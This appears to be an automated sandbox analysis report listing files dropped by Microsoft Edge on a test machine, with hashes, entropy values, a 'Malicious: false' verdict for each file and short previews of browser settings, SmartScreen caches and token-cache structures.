Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.006611575042765
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclc7SiHVyn:YWLSGTt1o9LuLgfGBPAzkVj/T8lcWYVy
MD5:	80433ADFE611767EB9778EE6EFF0D226
SHA1:	4C6A433DF3878ABBAC5EAEE46A636F16B48B08DC
SHA-256:	1E057D383496856C02147EBD87F2C7B82D4EE37A71B65E6294E83B861186B155
SHA-512:	9AADAD04B6E743271CA9ECBF2619D0792348E1FB28EDE8036D4D376BD61DE88AB373CF99D4C51E09CED9FF74A384EA828A24EEF0127A5A38FA65547651E3098D
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1739047447527110}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c419892c-5bef-45f0-b6ed-6ceedbb04eb1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090493903644067
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k4CLmZt7tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynMtGhOxqQoRTuiVIos
MD5:	D3FE3047D8F809C4AD0AE3A3F07541BB
SHA1:	119C574D547BDE340A411B7D1E98861B89A9ED32
SHA-256:	271115DBDE120B986A6C6A09EE2FADD59BB6FA9F30F4EC0F2D144AAB5E493739
SHA-512:	6F333C4A0AC16304A3389A0CBA31B4E9D194E6F1EEEEAB9672C89E8B650B4712F828BCAE08736076D9B5F71E68C29434F514D86DF454D2329321B6077965B7D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e18f6e62-f802-48a6-ac05-1cbd790dad80.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45984
Entropy (8bit):	6.088531158254492
Encrypted:	false
SSDEEP:	768:OMkbJ6eg6KzhXRLrDXXgLmZvO7VuouRf33VeT7lPKzC1oIwWE7RTupzKscDX//Nv:OMk16zRRvDXeRzT7FcIoIoRTui5
MD5:	FBAF114E4CA6AA65341001D470ABAFAA
SHA1:	3D76AC009A17F40DC17E576FF70DD5D12B42A5A3
SHA-256:	204A8E8FADCF62560C7A225562BAFABC17DA216B510CB62E86F04084F5AEB201
SHA-512:	D564E2BB33CFFDC5C2130562E2E4E7F390AA0B5F7713264466A34E71959EE868398618D55593917DF249CC8DB79BB3A68EB17763533B86FFE81E1A08005800AC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"84885de6-2bad-4890-9246-d36cc28fe4e3"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1738946649"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8478815748574013
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxOjxl9Il8u4GiET0OZ4q8EO7ZODVGDN2zd1rc:mzYdi20OZZQ7ZODVGYU
MD5:	30AD1215A70976A895D5CFE82EDA199F
SHA1:	D5AE98822D65C4DC54A5A24CEA224B6D07157E4F
SHA-256:	E150BA721D721531FDBA0C5C2BD1A4C8AC18B55B897A8A69E4F7BE514A1CCDC4
SHA-512:	A75BB621168B3B3267BBBB7FF7BCDDB0C8224600D52E0E7216D464AC658F65BF1991B4F7C3E7E605F206AD2B6F534BE58AB0C4434DF489FD5FF0989FA83FB3A9
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.K.R.i.4.4.d.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.+.o.e.M.1.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.999145451953752
Encrypted:	false
SSDEEP:	96:OYdim1502JtCQqN/5/jKl819tvM9VIwEPFz:Ogu2JGN/BjKWvtE9VIRdz
MD5:	32482120ECD89D550224509A48A0CC53
SHA1:	511D7075906FBDBFFFAC18784ACE71F0D6FC6165
SHA-256:	EEDDBAEAFB3DB9438A06ED18F77499E30942213A25FDCACCAC2FDBAA5B528037
SHA-512:	F69B203144E7C53AAE115A0E3513281FC1E5C7C98986A9685AF352E86E6A34BCBBB7EEAF0FD0B153164CA3B7A0E17CFE6FC55AD2F8D8BCE136FBFA79DF3414C8
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".k.O.+.8.y.H.9.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.+.o.e.M.1.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.895207002153121
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xZvxl9Il8u4GiiBl06j84O5D7SFYx/+d9pflSY6d/vc:aLbYdi808xoHtZwBlSu
MD5:	DDCC5D25B318F3E32D943B4B538FF1EC
SHA1:	C2E1D6ECA2F1ED9837F3636EE3209C856E63AEE0
SHA-256:	F74D9C635D86F6AD1784517CF4A0FCD944227991EF05E22AFEF110677DF12B8C
SHA-512:	AFB4BB165039011F99A39D3C19F90042787C2429CD5A8E5180B1636400F1DB948F28B3A18C1C93B0EDC4D780615AB9379C07BCE310B183D09259BB4D044B4FCE
Malicious:	false
